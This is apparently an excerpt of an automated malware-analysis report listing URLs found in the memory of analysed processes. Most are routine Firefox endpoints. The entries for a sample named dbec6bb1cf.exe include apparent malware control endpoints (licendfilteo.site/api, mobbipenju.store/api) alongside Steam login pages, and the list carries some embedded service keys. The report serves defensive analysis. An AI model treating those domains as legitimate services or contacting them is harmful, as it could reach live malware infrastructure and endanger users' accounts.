Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001A.00000002.2839377042.0000014D56772000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 0000001A.00000002.2864874573.0000014D5D703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683064327.0000014D54C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2875484195.0000024496804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2845915505.0000014D56D8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2684378399.0000014D54E52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876301503.0000146A3546B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2698445320.0000014D54D6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2841860100.0000014D56984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2820566202.0000014D54D6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001A.00000002.2854529746.0000014D584BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DA69000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2743413615.0000014D5D7F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001A.00000002.2876660911.00001F7EFA104000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://fb.me/react-polyfillsO
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://fb.me/react-polyfillsP
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://fb.me/react-polyfillsPO
Source: firefox.exe, 0000001A.00000002.2874630334.0000014D5F630000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000003.2759777631.0000014D56429000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2760952156.0000014D5642A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/browser/components/newtab/content-src/asrouter/docs/debuggin
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/nimbus-desktop-experiments
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i#
Source: firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2801575464.0000014D44D6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2800543685.0000008B8E704000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001A.00000002.2874630334.0000014D5F630000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D5524C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D5524C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2852887309.0000014D5833E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://getpocket.com/
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://getpocket.com/a4
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://getpocket.com/collections
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://getpocket.com/explore/
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D5524C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D63D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://getpocket.com/read/$
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D5524C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001A.00000003.2769480356.0000014D5648E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001A.00000003.2769480356.0000014D5648E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/cfworkeri~t
Source: firefox.exe, 0000001A.00000002.2864874573.0000014D5D703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001A.00000002.2856640879.0000014D588D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001A.00000002.2856640879.0000014D588D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001A.00000002.2864874573.0000014D5D703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001A.00000003.2683064327.0000014D54C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://github.com/projectfluent/fluent.js/wiki/React-Overlays.
Source: firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp String found in binary or memory: https://google.com
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55605000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://help.getpocket.com/article/1142-firefox-new-tab-recommendations-faq
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001A.00000002.2801575464.0000014D44D11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881a
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://img-getpocket.cdn.mozilla.net/7
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856302856.0000014D58783000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001A.00000003.2749332456.0000014D5DB59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D55987000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011C6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://licendfilteo.site/api
Source: dbec6bb1cf.exe, 0000000B.00000002.2667659341.0000000001195000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.0000000001195000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://licendfilteo.site:443/api
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826854859.0000014D556CD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D5567E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826096429.0000014D55479000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829848680.0000014D55AC3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.steampowered.com/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://lv.queniujq.cn
Source: firefox.exe, 0000001A.00000002.2811085069.0000014D52321000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D521AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://medal.tv
Source: firefox.exe, 0000001A.00000002.2801575464.0000014D44DD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667659341.0000000001195000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.0000000001195000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://mobbipenju.store:443/api
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D548F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806034129.0000014D51297000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001A.00000002.2876182868.000012A6CC804000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://oauth.accounts.firefox.com/v1
